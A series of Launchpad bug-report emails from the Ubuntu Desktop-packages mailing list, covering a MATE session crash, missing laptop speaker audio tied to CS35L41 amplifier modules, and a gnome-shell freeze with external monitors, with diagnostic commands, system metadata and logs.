[Desktop-packages] [Bug 1976161] Re: Session restarts when opening Pluma or GitHub link in browser
Hi Fernando, and thanks for reporting this bug! If, as you wrote in the bug description, you reproduce it when logging in with your uername and password, then this bug is not related to bug 1593407, which is about the "guest session" (that is the session for those users who don't have a login in the machine). There appears to be something wrong with the user session. Are you using Wayland or Xorg? Also, can you please attach the output of these commands (you can run them before opening the troublesome link in firefox, while your session is still working): systemctl --user status xdg-document-portal.service systemctl --user status snap.snapd-desktop-integration.snapd-desktop-integration.service ** Changed in: snapd (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to firefox in Ubuntu. https://bugs.launchpad.net/bugs/1976161 Title: Session restarts when opening Pluma or GitHub link in browser Status in Ubuntu MATE: New Status in firefox package in Ubuntu: New Status in snapd package in Ubuntu: Incomplete Bug description: From a fresh install with Ubuntu Mate 22.04, do: 1. Login into your user with password. 2. Open Firefox. 3. Enter "https://github.com/pimlie/ubuntu-mainline-kernel.sh; at URL address. 4. GUI will reset and go back to login screen like started a new session. This also happens when I tried with opening a '.log' with Pluma. I've tried a lot of things at other installation to tackle this problem, but I couldn't solve the problem. --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu82.1 Architecture: amd64 CasperMD5CheckResult: pass CurrentDesktop: MATE DistroRelease: Ubuntu 22.04 InstallationDate: Installed on 2022-05-27 (1 days ago) InstallationMedia: Ubuntu-MATE 22.04 LTS "Jammy Jellyfish" - Release amd64 (20220419) ProcVersionSignature: Ubuntu 5.15.0-33.34-generic 5.15.30 Snap: snapd 2.55.5 (latest/stable) Snap.Changes: ID Status Spawn Ready Summary 3Done2022-05-28T10:43:02-03:00 2022-05-28T10:46:00-03:00 Auto-refresh snaps "core20", "firefox", "snapd" Tags: jammy Uname: Linux 5.15.0-33-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-mate/+bug/1976161/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1958019]
Looking at your alsa-info, you don't have the CLS0100 amplifier chips, which is what those modules would enable support for. Your laptop is not supported by those modules and likely aren't supported at all. (In reply to cris223 from comment #620) > > Hi everyone, with a thanks of your support! > I recently bought a new model of Yoga 7i 16" alsa-info is here: > https://pastebin.com/cPPAp0vq > I so i do have 4 speakers with amp on which is not working in Linux (as > everybody mentioned here on windows sound it is strong), the rest of the > sound in headphones, bluetooth mic are loading fine . I've read carefully > most of you posts, and I tested some commands in my Arcolinux system > (Archlinux) > > So with kernel 5.17 it is support for following modules:( i am currently on > linux 5.18.0-arch1-1) > serial_multi_instantiate > snd-soc-cs35l41-lib > snd-hda-scodec-cs35l41-i2c > snd-hda-scodec-cs35l41-spi > > and i managed to load them helped by modinfo command noticed that some of > them have dependencies other modules. So I preload the dep and then i made > an file in /etc/modules-load/ where i listed all this modules in order to be > load at boot. I checked after boot to see it all these modules are loaded- > was successfully done. > > But my sound is still the same - the AMP on speakers doesn't work! > > I won't give up testing the further suggestions you might have, t! -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1958019 Title: [Lenovo Legion7 16ACHg6 82N6, Realtek ALC287, Speaker, Internal] No sound at all Status in sound-2.6 (alsa-kernel): Confirmed Status in alsa-driver package in Ubuntu: Confirmed Bug description: On my Lenovo Legion-7-16ACHg6 laptop I can't hear any sound by internal speakers, but it work by headphones connected to standard jack aux. uname -r 5.11.0-44-generic ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.11.0-44.48~20.04.2-generic 5.11.22 Uname: Linux 5.11.0-44-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: i3draven 1266 F pulseaudio /dev/snd/controlC0: i3draven 1266 F pulseaudio /dev/snd/controlC1: i3draven 1266 F pulseaudio /dev/snd/pcmC1D0p: i3draven 1266 F...m pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sat Jan 15 15:10:53 2022 InstallationDate: Installed on 2021-10-11 (96 days ago) InstallationMedia: Ubuntu 20.04.3 LTS "Focal Fossa" - Release amd64 (20210819) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Generic failed Symptom_Card: Family 17h (Models 10h-1fh) HD Audio Controller - HD-Audio Generic Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: i3draven 1266 F pulseaudio /dev/snd/controlC0: i3draven 1266 F pulseaudio /dev/snd/controlC1: i3draven 1266 F pulseaudio /dev/snd/pcmC1D0p: i3draven 1266 F...m pulseaudio Symptom_Jack: Speaker, Internal Symptom_Type: No sound at all Title: [82N6, Realtek ALC287, Speaker, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 11/08/2021 dmi.bios.release: 1.49 dmi.bios.vendor: LENOVO dmi.bios.version: GKCN49WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: LNVNB161216 dmi.board.vendor: LENOVO dmi.board.version: SDK0R32862 WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Legion 7 16ACHg6 dmi.ec.firmware.release: 1.49 dmi.modalias: dmi:bvnLENOVO:bvrGKCN49WW:bd11/08/2021:br1.49:efr1.49:svnLENOVO:pn82N6:pvrLegion716ACHg6:skuLENOVO_MT_82N6_BU_idea_FM_Legion716ACHg6:rvnLENOVO:rnLNVNB161216:rvrSDK0R32862WIN:cvnLENOVO:ct10:cvrLegion716ACHg6: dmi.product.family: Legion 7 16ACHg6 dmi.product.name: 82N6 dmi.product.sku: LENOVO_MT_82N6_BU_idea_FM_Legion 7 16ACHg6 dmi.product.version: Legion 7 16ACHg6 dmi.sys.vendor: LENOVO To manage notifications about this bug go to: https://bugs.launchpad.net/sound-2.6/+bug/1958019/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1958019]
Thank you soo much! -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1958019 Title: [Lenovo Legion7 16ACHg6 82N6, Realtek ALC287, Speaker, Internal] No sound at all Status in sound-2.6 (alsa-kernel): Confirmed Status in alsa-driver package in Ubuntu: Confirmed Bug description: On my Lenovo Legion-7-16ACHg6 laptop I can't hear any sound by internal speakers, but it work by headphones connected to standard jack aux. uname -r 5.11.0-44-generic ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.11.0-44.48~20.04.2-generic 5.11.22 Uname: Linux 5.11.0-44-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: i3draven 1266 F pulseaudio /dev/snd/controlC0: i3draven 1266 F pulseaudio /dev/snd/controlC1: i3draven 1266 F pulseaudio /dev/snd/pcmC1D0p: i3draven 1266 F...m pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sat Jan 15 15:10:53 2022 InstallationDate: Installed on 2021-10-11 (96 days ago) InstallationMedia: Ubuntu 20.04.3 LTS "Focal Fossa" - Release amd64 (20210819) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Generic failed Symptom_Card: Family 17h (Models 10h-1fh) HD Audio Controller - HD-Audio Generic Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: i3draven 1266 F pulseaudio /dev/snd/controlC0: i3draven 1266 F pulseaudio /dev/snd/controlC1: i3draven 1266 F pulseaudio /dev/snd/pcmC1D0p: i3draven 1266 F...m pulseaudio Symptom_Jack: Speaker, Internal Symptom_Type: No sound at all Title: [82N6, Realtek ALC287, Speaker, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 11/08/2021 dmi.bios.release: 1.49 dmi.bios.vendor: LENOVO dmi.bios.version: GKCN49WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: LNVNB161216 dmi.board.vendor: LENOVO dmi.board.version: SDK0R32862 WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Legion 7 16ACHg6 dmi.ec.firmware.release: 1.49 dmi.modalias: dmi:bvnLENOVO:bvrGKCN49WW:bd11/08/2021:br1.49:efr1.49:svnLENOVO:pn82N6:pvrLegion716ACHg6:skuLENOVO_MT_82N6_BU_idea_FM_Legion716ACHg6:rvnLENOVO:rnLNVNB161216:rvrSDK0R32862WIN:cvnLENOVO:ct10:cvrLegion716ACHg6: dmi.product.family: Legion 7 16ACHg6 dmi.product.name: 82N6 dmi.product.sku: LENOVO_MT_82N6_BU_idea_FM_Legion 7 16ACHg6 dmi.product.version: Legion 7 16ACHg6 dmi.sys.vendor: LENOVO To manage notifications about this bug go to: https://bugs.launchpad.net/sound-2.6/+bug/1958019/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1958019]
(In reply to Cameron Berkenpas from comment #622) > Looking at your alsa-info, you don't have the CLS0100 amplifier chips, which > is what those modules would enable support for. Your laptop is not supported > by those modules and likely aren't supported at all. > > (In reply to cris223 from comment #620) > > > > Hi everyone, with a thanks of your support! > > I recently bought a new model of Yoga 7i 16" alsa-info is here: > > https://pastebin.com/cPPAp0vq > > I so i do have 4 speakers with amp on which is not working in Linux (as > > everybody mentioned here on windows sound it is strong), the rest of the > > sound in headphones, bluetooth mic are loading fine . I've read carefully > > most of you posts, and I tested some commands in my Arcolinux system > > (Archlinux) > > > > So with kernel 5.17 it is support for following modules:( i am currently on > > linux 5.18.0-arch1-1) > > serial_multi_instantiate > > snd-soc-cs35l41-lib > > snd-hda-scodec-cs35l41-i2c > > snd-hda-scodec-cs35l41-spi > > > > and i managed to load them helped by modinfo command noticed that some of > > them have dependencies other modules. So I preload the dep and then i made > > an file in /etc/modules-load/ where i listed all this modules in order to > be > > load at boot. I checked after boot to see it all these modules are loaded- > > was successfully done. > > > > But my sound is still the same - the AMP on speakers doesn't work! > > > > I won't give up testing the further suggestions you might have, t! that is a terrible new for me...i wanted to replace windows totality in my new machine...but for now i ll stick with the dual boot -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1958019 Title: [Lenovo Legion7 16ACHg6 82N6, Realtek ALC287, Speaker, Internal] No sound at all Status in sound-2.6 (alsa-kernel): Confirmed Status in alsa-driver package in Ubuntu: Confirmed Bug description: On my Lenovo Legion-7-16ACHg6 laptop I can't hear any sound by internal speakers, but it work by headphones connected to standard jack aux. uname -r 5.11.0-44-generic ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.11.0-44.48~20.04.2-generic 5.11.22 Uname: Linux 5.11.0-44-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: i3draven 1266 F pulseaudio /dev/snd/controlC0: i3draven 1266 F pulseaudio /dev/snd/controlC1: i3draven 1266 F pulseaudio /dev/snd/pcmC1D0p: i3draven 1266 F...m pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sat Jan 15 15:10:53 2022 InstallationDate: Installed on 2021-10-11 (96 days ago) InstallationMedia: Ubuntu 20.04.3 LTS "Focal Fossa" - Release amd64 (20210819) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:Generic failed Symptom_Card: Family 17h (Models 10h-1fh) HD Audio Controller - HD-Audio Generic Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: i3draven 1266 F pulseaudio /dev/snd/controlC0: i3draven 1266 F pulseaudio /dev/snd/controlC1: i3draven 1266 F pulseaudio /dev/snd/pcmC1D0p: i3draven 1266 F...m pulseaudio Symptom_Jack: Speaker, Internal Symptom_Type: No sound at all Title: [82N6, Realtek ALC287, Speaker, Internal] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 11/08/2021 dmi.bios.release: 1.49 dmi.bios.vendor: LENOVO dmi.bios.version: GKCN49WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: LNVNB161216 dmi.board.vendor: LENOVO dmi.board.version: SDK0R32862 WIN dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Legion 7 16ACHg6 dmi.ec.firmware.release: 1.49 dmi.modalias: dmi:bvnLENOVO:bvrGKCN49WW:bd11/08/2021:br1.49:efr1.49:svnLENOVO:pn82N6:pvrLegion716ACHg6:skuLENOVO_MT_82N6_BU_idea_FM_Legion716ACHg6:rvnLENOVO:rnLNVNB161216:rvrSDK0R32862WIN:cvnLENOVO:ct10:cvrLegion716ACHg6: dmi.product.family: Legion 7 16ACHg6 dmi.product.name: 82N6 dmi.product.sku: LENOVO_MT_82N6_BU_idea_FM_Legion 7 16ACHg6 dmi.product.version: Legion 7 16ACHg6 dmi.sys.vendor: LENOVO To manage notifications about this bug go to: https://bugs.launchpad.net/sound-2.6/+bug/1958019/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1958019]
(In reply to Cameron Berkenpas from comment #619) > Appears that these kernels are including these drivers. You might have > to figure out how to build your own kernel while enabling the necessary > kernel options yourself after all. > > On 5/24/22 01:46, bugzilla-dae...@kernel.org wrote: > > https://bugzilla.kernel.org/show_bug.cgi?id=208555 > > > > --- Comment #616 from she...@liang.at (she...@liang.at) --- > > Oh, sorry I was in the wrong one version cuz I tried reverting to the older > > one > > when nvidia didn't work anymore. > > > > In kernel 5.17.0 the first command gives > > $ sudo modprobe snd-hda-codec-cs35l41-i2c > > modprobe: FATAL: Module snd-hda-codec-cs35l41-i2c not found in directory > > /lib/modules/5.17.0-051700-generic > > > > while the other two give nothing. > > > > > > (In reply to Cameron Berkenpas from comment #615) > >> Your error message shows you're 5.13, which definitely doesn't have > support. > >> > >> > >> > >> On 5/23/22 08:46, bugzilla-dae...@kernel.org wrote: > >>> https://bugzilla.kernel.org/show_bug.cgi?id=208555 > >>> > >>> --- Comment #614 from she...@liang.at (she...@liang.at) --- > >>> The first two modprobe commands returned > >>> ` > >>> modprobe: FATAL: Module snd-hda-codec-cs35l41-i2c not found in directory > >>> /lib/modules/5.13.0-051300-generic > >>> ` > >>> The third one returns nothing. > >>> > >>> I tried reinstalling my nvidia driver too but even after purging all it > >>> doesn't > >>> seem to work :\ > >>> > >>> I tried following these instructions: > >>> > >> > >> > https://forums.developer.nvidia.com/t/nvidia-smi-has-failed-because-it-couldnt-communicate-with-the-nvidia-driver-make-sure-that-the-latest-nvidia-driver-is-installed-and-running/197141/6 > >>> (In reply to Cameron Berkenpas from comment #612) > I would try try 5.17. 5.18 only came out yesterday, and therefore > doesn't > even have any point releases so chances are reasonably high you'll run > >> into > bugs. > > Additionally, I don't have the ACHg6. It's possible you'll need to > specify > which modules to load. In the likely event that 5.17 doesn't work, > perhaps > someone can provide information on what's needed there. > > Possibly these steps will work: > sudo modprobe snd-hda-codec-cs35l41-i2c > sudo modeprobe snd_soc_cs35l41_i2c > sudo modeprobe i2c-multi-instantiate > > (In reply to she...@liang.at from comment #609) > > Thanks for the quick responses. I followed the instructions to install > >> the > > latest version. Is it supposed to work if I installed 5.18 too? It's > not > > working and it stopped recognising my external monitors too. > > Hi everyone, with a thanks of your support! I recently bought a new model of Yoga 7i 16" alsa-info is here: https://pastebin.com/cPPAp0vq I so i do have 4 speakers with amp on which is not working in Linux (as everybody mentioned here on windows sound it is strong), the rest of the sound in headphones, bluetooth mic are loading fine . I've read carefully most of you posts, and I tested some commands in my Arcolinux system (Archlinux) So with kernel 5.17 it is support for following modules:( i am currently on linux 5.18.0-arch1-1) serial_multi_instantiate snd-soc-cs35l41-lib snd-hda-scodec-cs35l41-i2c snd-hda-scodec-cs35l41-spi and i managed to load them helped by modinfo command noticed that some of them have dependencies other modules. So I preload the dep and then i made an file in /etc/modules-load/ where i listed all this modules in order to be load at boot. I checked after boot to see it all these modules are loaded- was successfully done. But my sound is still the same - the AMP on speakers doesn't work! I won't give up testing the further suggestions you might have, t! -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1958019 Title: [Lenovo Legion7 16ACHg6 82N6, Realtek ALC287, Speaker, Internal] No sound at all Status in sound-2.6 (alsa-kernel): Confirmed Status in alsa-driver package in Ubuntu: Confirmed Bug description: On my Lenovo Legion-7-16ACHg6 laptop I can't hear any sound by internal speakers, but it work by headphones connected to standard jack aux. uname -r 5.11.0-44-generic ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 5.11.0-44.48~20.04.2-generic 5.11.22 Uname: Linux 5.11.0-44-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: i3draven 1266 F pulseaudio /dev/snd/controlC0: i3draven 1266 F pulseaudio /dev/snd/controlC1: i3draven 1266 F pulseaudio /dev/snd/pcmC1D0p: i3draven 1266 F...m pulseaudio CasperMD5CheckResult: skip
[Desktop-packages] [Bug 1976204] Re: system freeze and gnome-shell reports multiple stack trace
** Tags added: jellyfish-edge-staging -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1976204 Title: system freeze and gnome-shell reports multiple stack trace Status in OEM Priority Project: Confirmed Status in gnome-shell package in Ubuntu: New Bug description: [Summary] The system will run into freeze if I connect the external monitor through DP/HDMI with dongle DA310 or Docking WD19TB [Steps to reproduce] 1. Attact DA310 or WD19TB to DUT 2. Cold Boot into OS 3. Plug the DP/HDMI cable to DA310 or WD19TB 4. Check the external monitor has signal 5. Click keyboard or move mouse to check system can work well [Expected result] System won't be freeze with external monitor. [Actual result] System will be freeze. It can be recovered after unplug the external monitor sometime. [gnome-shell stack trace] 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 35 with keysym 35 (keycode e). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 33 with keysym 33 (keycode c). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: meta_window_set_stack_position_no_sync: assertion 'window->stack_position >= 0' failed 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: ubuntu : TTY=pts/2 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/bin/dmesg 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: pam_unix(sudo:session): session opened for user root(uid=0) by ubuntu(uid=1001) 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: pam_unix(sudo:session): session closed for user root 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: == Stack trace for context 0x56156f8f04a0 == 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: == Stack trace for context 0x56156f8f04a0 == 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: The offending signal was window-added on MetaWorkspace 0x56156f916640. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: The offending signal was window-added on MetaWorkspace 0x56156f916640. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. This system is using OLED (3456x2160) panel, and I can't reproduce this issue on FHD panel. To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1976204/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1976204] Re: system freeze and gnome-shell reports multiple stack trace
** Attachment added: "syslog.log.tar.gz" https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1976204/+attachment/5593680/+files/syslog.log.tar.gz -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1976204 Title: system freeze and gnome-shell reports multiple stack trace Status in OEM Priority Project: Confirmed Status in gnome-shell package in Ubuntu: New Bug description: [Summary] The system will run into freeze if I connect the external monitor through DP/HDMI with dongle DA310 or Docking WD19TB [Steps to reproduce] 1. Attact DA310 or WD19TB to DUT 2. Cold Boot into OS 3. Plug the DP/HDMI cable to DA310 or WD19TB 4. Check the external monitor has signal 5. Click keyboard or move mouse to check system can work well [Expected result] System won't be freeze with external monitor. [Actual result] System will be freeze. It can be recovered after unplug the external monitor sometime. [gnome-shell stack trace] 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 35 with keysym 35 (keycode e). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 33 with keysym 33 (keycode c). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: meta_window_set_stack_position_no_sync: assertion 'window->stack_position >= 0' failed 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: ubuntu : TTY=pts/2 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/bin/dmesg 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: pam_unix(sudo:session): session opened for user root(uid=0) by ubuntu(uid=1001) 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: pam_unix(sudo:session): session closed for user root 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: == Stack trace for context 0x56156f8f04a0 == 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: == Stack trace for context 0x56156f8f04a0 == 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: The offending signal was window-added on MetaWorkspace 0x56156f916640. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: The offending signal was window-added on MetaWorkspace 0x56156f916640. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. This system is using OLED (3456x2160) panel, and I can't reproduce this issue on FHD panel. To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1976204/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1976204] Re: system freeze and gnome-shell reports multiple stack trace
** Tags added: oem-priority originate-from-1967530 somerville ** Changed in: oem-priority Status: New => Confirmed ** Changed in: oem-priority Importance: Undecided => Critical ** Changed in: oem-priority Assignee: (unassigned) => Andy Chi (andch) -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-shell in Ubuntu. https://bugs.launchpad.net/bugs/1976204 Title: system freeze and gnome-shell reports multiple stack trace Status in OEM Priority Project: Confirmed Status in gnome-shell package in Ubuntu: New Bug description: [Summary] The system will run into freeze if I connect the external monitor through DP/HDMI with dongle DA310 or Docking WD19TB [Steps to reproduce] 1. Attact DA310 or WD19TB to DUT 2. Cold Boot into OS 3. Plug the DP/HDMI cable to DA310 or WD19TB 4. Check the external monitor has signal 5. Click keyboard or move mouse to check system can work well [Expected result] System won't be freeze with external monitor. [Actual result] System will be freeze. It can be recovered after unplug the external monitor sometime. [gnome-shell stack trace] 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 35 with keysym 35 (keycode e). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: Window manager warning: Overwriting existing binding of keysym 33 with keysym 33 (keycode c). 五 27 22:12:31 ubuntu-XPS-9320 gnome-shell[1998]: meta_window_set_stack_position_no_sync: assertion 'window->stack_position >= 0' failed 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: ubuntu : TTY=pts/2 ; PWD=/home/ubuntu ; USER=root ; COMMAND=/usr/bin/dmesg 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: pam_unix(sudo:session): session opened for user root(uid=0) by ubuntu(uid=1001) 五 27 22:12:55 ubuntu-XPS-9320 sudo[2916]: pam_unix(sudo:session): session closed for user root 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: == Stack trace for context 0x56156f8f04a0 == 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: == Stack trace for context 0x56156f8f04a0 == 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: The offending signal was window-added on MetaWorkspace 0x56156f916640. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: The offending signal was window-added on MetaWorkspace 0x56156f916640. 五 27 22:12:56 ubuntu-XPS-9320 gnome-shell[1998]: Attempting to call back into JSAPI during the sweeping phase of GC. This is most likely caused by not destroying a Clutter actor or Gtk+ widget with ::destroy signals connected, but can also be caused by using the destroy(), dispose(), or remove() vfuncs. Because it would crash the application, it has been blocked and the JS callback not invoked. This system is using OLED (3456x2160) panel, and I can't reproduce this issue on FHD panel. To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1976204/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1976204] [NEW] system freeze and gnome-shell reports multiple stack trace
